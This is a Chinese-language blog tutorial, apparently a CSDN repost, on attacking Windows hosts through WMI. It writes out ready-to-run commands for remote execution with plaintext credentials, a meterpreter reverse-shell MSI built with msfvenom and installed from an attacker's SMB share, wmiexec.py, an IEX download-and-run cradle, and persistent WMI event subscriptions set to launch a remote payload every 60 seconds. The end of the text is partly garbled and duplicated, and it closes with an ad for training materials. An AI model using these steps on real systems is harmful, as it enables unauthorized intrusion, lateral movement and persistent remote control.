赞
踩
本文对 WMI 的一些利用手法进行了总结,其中主要对 WMI 事件订阅的利用做了详细的剖析,希望可以对大家的学习提供一些帮助。
WMI(Windows Management Instrumentation,Windows 管理规范)是一项核心的 Windows 管理技术。用户可以通过
WMI 管理本地和远程计算机。Windows 为远程传输 WMI 数据提供了两个可用的协议,即分布式组件对象模型(Distributed Component
Object Model,DCOM)和 Windows 远程管理(Windows Remote Management,WinRM),使得 WMI
对象的查询、事件注册、WMI 类方法的执行和类的创建等操作都能够远程进行。
在横向移动时,hacker 可以利用 WMI 提供的管理功能,通过已获取的用户凭据,与本地或远程主机进行交互,并控制其执行各种行为。
目前有两种常见的利用方法:
利用 WMI 进行横向移动需要具备以下条件:
① 远程主机的 WMI 服务为开启状态(默认开启)。
② 远程主机防火墙放行 135 端口,这是 WMI 管理的默认端口。
在 Windows 上可以通过 wmic.exe 和 PowerShell Cmdlet 来使用 WMI 数据和执行 WMI 方法。
Wmic.exe 是一个与 WMI 进行交互的强大的命令行工具,拥有大量的 WMI 对象的默认别名,可以执行许多复杂的查询。
Windows Powershell 也提供了许多可以与 WMI 进行交互的 Cmdlet,如 Invoke-WmiMethod、Set-
WmiInstance 等。
通过 WMIC 查询远程主机上运行的进程信息,执行以下命令:
wmic /node:192.168.220.130 /user:Administrator /password:123456Lhz!@# process list brief
# /node,指定远程主机的地址
执行以下命令,通过调用 Win32_Process.Create 方法在远程主机上创建进程,启动 CMD 来执行系统命令:
wmic /node:192.168.220.130 /user:Administrator /password:123456Lhz!@# process call create "cmd.exe /c ipconfig > c:\result.txt"
由于 WMIC 在执行命令时没有回显,因此可以将执行结果写入文件,然后通过建立共享连接等方式使用 type 命令远程读取。
通过调用 Win32_Product.Install 方法,可以控制远程主机安装恶意的 MSI(Microsoft
Installer)文件,从而获取其权限。
① 使用 msf 生成一个恶意的 MSI 文件:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.220.132 lport=4444 -f msi -o reverse_tcp.msi
② 在可控的服务器上搭建 SMB 共享服务器,并将生成的 MSI 文件放入共享目录。
python smbserver.py evilsmb /root/share -smb2support
③ 在跳板机上执行以下命令:
wmic /node:192.168.220.130 /user:Administrator /password:123456Lhz!@# product call install PackageLocation="\\192.168.220.132\evilsmb\reverse_tcp.msi"
控制远程主机(192.168.220.130),通过 UNC 路径进行远程加载 smb 服务器的 MSI 文件并进行安装,成功获取远程主机的权限。
Impacket 项目的 wmiexec.py 能够以全交互或半交互的方式,通过 WMI 在远程主机上执行命令。
注意:该工具需要远程主机开启 135 和 445 端口,其中 445 端口用于传输命令执行的回显。
执行以下命令,获取远程主机的交互式命令行:
python wmiexec.py Administrator:123456Lhz!\@#@192.168.220.130
# python wmiexec.py <Domain>/<Username>:<Password>@<IP>
如果是在 Windows 平台上使用,可以通过 PyInstaller,将 wmiexec.py 打包成独立的 EXE 可执行文件:
# 安装 PyInstaller 模块
pip3 install pyinstaller
# 进入 wmiexec.py 所在目录并执行打包操作,将在 dist 目录中生成 wmiexec.exe
cd impacket\examples
pyinstaller -F wmiexec.py //如果kali报错,可以使用Windows进行打包
打包完成后,生成的 wmiexec.exe 可以直接上传到 Windows 主机中运行,使用方法与 wmiexec.py 相同。
Invoke-WmiCommand.ps1 可以通过 PowerShell 调用 WMI 来远程执行命令:
# 本地/远程加载 Invoke-WmiCommand.ps1 脚本
Import-Module .\Invoke-WmiCommand.ps1
IEX(New-Object Net.Webclient).DownloadString('http://IP:Port/Invoke-WmiCommand.ps1')
# 指定远程系统用户名
$User = "administrator"
# 指定用户的密码
$Password = ConvertTo-SecureString -String "123456Lhz!@#" -AsPlainText -Force
# 将账号和密码整合起来,以便导入 Credential中
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
# 指定远程主机的 IP 和要执行的命令
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName "192.168.220.130"
# 输出命令执行回显
$Remote.PayloadOutput
利用 PowerShell 自带的 Invoke-WMIMethod,不需要额外进行下载。可以在远程系统主机上执行命令和指定程序。但不会回显执行结果
#目标系统用户名
$User="administrator"
#目标系统密码
$Password=ConvertTo-SecureString -String "123456Lhz!@#" -AsPlainText -Force
#将账号和密码整合起来,以便导入 Credential中
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
#在远程系统中运行 calc.exe 命令
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.220.130" -Credential $Cred
命令完成后会在目标系统中运行calc.exe程序,但是不会弹出计算器
WMI 提供了强大的事件处理系统,几乎可以用于对操作系统上发生的任何事件做出响应。
例如,当创建某进程时,通过 WMI 事件订阅来执行预先设置的脚本。其中,涉及到了两个新的概念:
在部署事件订阅时,需要分别构建 Filter 和 Consumer 两部分,并将二者绑定在一起。
所有的事件过滤器都被存储为一个 ROOT\subscription:__EventFilter 对象的实例,可以通过创建 __EventFilter
对象实例来部署事件过滤器。
事件消费者是基于 ROOT\subscription:__EventConsumer 系统类派生来的类。系统提供了常用的标准事件消费类,如下表:
事件消费类
|
说明
—|—
LogFileEventConsumer
|
将事件数据写入指定的日志文件
ActiveScriptEventConsumer
|
执行嵌入的 VBScirpt 和 JavaScript 脚本
NTEventLogEventConsumer
|
创建一个包含事件数据的事件日志条目
SMTPEventConsumer
|
发送一封包含事件数据的电子邮件
CommandLineEventConsumer
|
执行指定的系统命令
hacker 可以使用 WMI 的功能在远程主机上部署永久事件订阅,并在特定事件发生时执行任意代码或系统命令。使用 WMI 事件消费类的
ActiveScriptEventConsumer 和 CommandLineEventConsumer,可以在远程主机上执行任何攻击载荷。
该技术主要用来在目标系统上完成权限持久化,也可用于横向移动,但需要提供远程主机的管理员权限的用户凭据。
接下来通过手动执行 Powershell 命令来进行利用:
① 整合 PSCredential,用于后续过程的认证
$Username = "Administrator"
$Password = "123456Lhz!@#"
$SecurePassword = $Password | ConvertTo-SecureString -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Username,$SecurePassword
② 设置攻击目标和其他公开参数
$GlobalArgs = @{}
$ComputerName = "192.168.220.130"
$GlobalArgs['Credential'] = $Credential
$GlobalArgs['ComputerName'] = $ComputerName
③ 在远程主机(192.168.220.130)上部署 “TestFilter” 事件过滤器,用于查询 svchost.exe 进程的产生。由于 WMI
所有的事件过滤器都被存储为 ROOT\subscription:__EventFilter 对象的实例,因此通过 Set-WmiInstance
Cmdlet 创建一个 __EventFilter 类的实例即可。
$EventFilterArgs = @{
EventNamespace = 'root/cimv2'
Name = "TestFilter"
Query = "SELECT * FROM Win32_ProcessStartTrace where processname = 'svchost.exe'"
QueryLanguage = 'WQL'
}
$EventFilter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $EventFilterArgs @GlobalArgs
④ 在远程主机上部署一个名为 “TestConsumer” 的事件消费者,创建事件消费类 CommandLineEventConsumer
的实例,在指定事件发生时执行系统命令。
$CommandLineEventConsumerArgs = @{
Name = "TestConsumer"
CommandLineTemplate = "C:\Windows\System32\cmd.exe /c calc.exe"
}
$EventConsumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $CommandLineEventConsumerArgs @GlobalArgs
⑤ 将创建的事件过滤器和事件消费者绑定在一起
$FilterConsumerBindingArgs = @{
Filter = $EventFilter
Consumer = $EventConsumer
}
$FilterConsumerBinding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $FilterConsumerBindingArgs @GlobalArgs
注:建议将上述代码整理为 ps1 脚本进行执行。
到此,已经成功在远程主机(192.168.220.130)上部署了一个事件订阅,当目标系统重启系统,管理员正常登录,远程系统轮询到 svchost.exe
进程产生时,将通过事件消费者执行系统命令来启动 calc.exe 进程。
执行完脚本,可以通过一些命令去查看创建的实例,已确定脚本执行成功:
# 查看创建的事件过滤器的实例
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
# 查看创建的事件消费者的实例
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
# 查看事件绑定,可以从 __PATH 属性中看到哪个 Filter 和 Consumer 用于 WMI 事件
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
该脚本通过WMI事件订阅实现内网横向移动和权限持久化。
Usage:
Sharp-WMIEvent [[-ComputerName] <String>] [[-Domain] <String>] [[-Username] <String>] [[-Password] <String>] [[-Fil
terName] <String>] [[-ConsumerName] <String>] [[-Trigger] <String>] [[-ProcessName] <String>] [[-ScriptPath] <Strin
g>] [[-Command] <String>] [[-IntervalPeriod] <Int32>] [[-ExecutionTime] <DateTime>] [<CommonParameters>]
Example:
# 在 -ProcessName 指定的目标主机上创建永久 WMI 事件订阅,并在 svchost.exe 进程启动时运行脚本 Sharp-WMIEvent -Trigger ProcessStart -ProcessName svchost.exe -ComputerName <IP/Hostname> -Domain <Domain Name> -Username <Username> -Password <Password> -ScriptPath "C:\Sharp-WMIEvent\payload.js" -FilterName <Filter Name> -ConsumerName <Consumer Name> # 在 -ProcessName 指定的目标主机上创建永久 WMI 事件订阅,并在 svchost.exe 进程启动时执行该命令 Sharp-WMIEvent -Trigger ProcessStart -ProcessName svchost.exe -ComputerName <IP/Hostname> -Domain <Domain Name> -Username <Username> -Password <Password> -Command "cmd.exe /c \\IP\evilsmb\reverse_tcp.exe" -FilterName <Filter Name> -ConsumerName <Consumer Name> # 在创建永久 WMI 事件订阅并在系统启动后 5 分钟内执行命令 Sharp-WMIEvent -Trigger Startup -Command "cmd.exe /c \\IP\evilsmb\reverse_tcp.exe" -FilterName <Filter Name> -ConsumerName <Consumer Name> # 在创建一个永久的 WMI 事件订阅并在用户登录时执行该命令 Sharp-WMIEvent -Trigger UserLogon -Command "cmd.exe /c \\IP\evilsmb\reverse_tcp.exe" -FilterName <Filter Name> -ConsumerName <Consumer Name> # 在创建永久 WMI 事件订阅并每 60 秒执行一次命令 Sharp-WMIEvent -Trigger Interval -IntervalPeriod 60 -Command "cmd.exe /c \\IP\evilsmb\reverse_tcp.exe" -FilterName <Filter Name> -ConsumerName <Consumer Name> # 在创建永久 WMI 事件订阅并在 08:00:00 执行命令 Sharp-WMIEvent -Trigger Timed -ExecutionTime '08:00:00' -Command "cmd.exe /c \\IP\evilsmb\reverse_tcp.exe" -FilterName <Filter Name> -ConsumerName <Consumer Name>
复现过程:
① 在一台 hacker 可控的服务器上搭建 SMB 共享服务器,并将生成的攻击载荷放入共享目录
② 在跳板机执行命令,利用 Sharp-WMIEvent 在远程主机上部署一个随机命名的永久事件订阅,并每隔 60 秒执行一次 SMB
共享中的攻击载荷,使远程主机上线。
Sharp-WMIEvent -Trigger Interval -IntervalPeriod 60 -ComputerName 192.168.220.130 -Username Administrator -Password 123456Lhz!@# -Command "cmd.exe /c \\192.168.220.132\evilsmb\shell.exe"
本次的分享到这就结束了,如有不对,欢迎指正。参考链接如下所示:
<https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-
part-1-wmi-event-subscription>
[https://github.com/wh0Nsq/Sharp-WMIEvent](https://github.com/wh0Nsq/Sharp-
WMIEvent)
2.168.220.132\evilsmb\shell.exe"
[外链图片转存中…(img-ZKqnZCiv-1690941364218)]
[外链图片转存中…(img-jjnqIt7G-1690941364219)]
本次的分享到这就结束了,如有不对,欢迎指正。参考链接如下所示:
<https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-
part-1-wmi-event-subscription>
[https://github.com/wh0Nsq/Sharp-WMIEvent](https://github.com/wh0Nsq/Sharp-
WMIEvent)
我一共划分了六个阶段,但并不是说你得学完全部才能上手工作,对于一些初级岗位,学到第三四个阶段就足矣~
这里我整合并且整理成了一份【282G】的网络安全从零基础入门到进阶资料包,需要的小伙伴可以扫描下方CSDN官方合作二维码免费领取哦,无偿分享!!!
如果你对网络安全入门感兴趣,那么你需要的话可以
点击这里
赞
踩
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。